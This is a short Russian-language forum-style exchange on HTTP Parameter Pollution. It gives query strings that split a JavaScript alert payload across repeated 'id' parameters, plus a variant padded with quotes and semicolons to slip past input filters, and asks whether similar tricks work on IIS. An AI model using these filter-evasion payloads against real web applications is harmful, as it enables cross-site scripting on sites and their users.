HPP: ?id=&info=index&id=alert(100)&mask=qwert&id=

простое замусоривание: ?id="&info=index&id=";alert(100);"&mask=qwert&id=" ;

разницы наверное не много будет, тогда уж можно и просто заurlencodить

мб есть что нибудь под iis?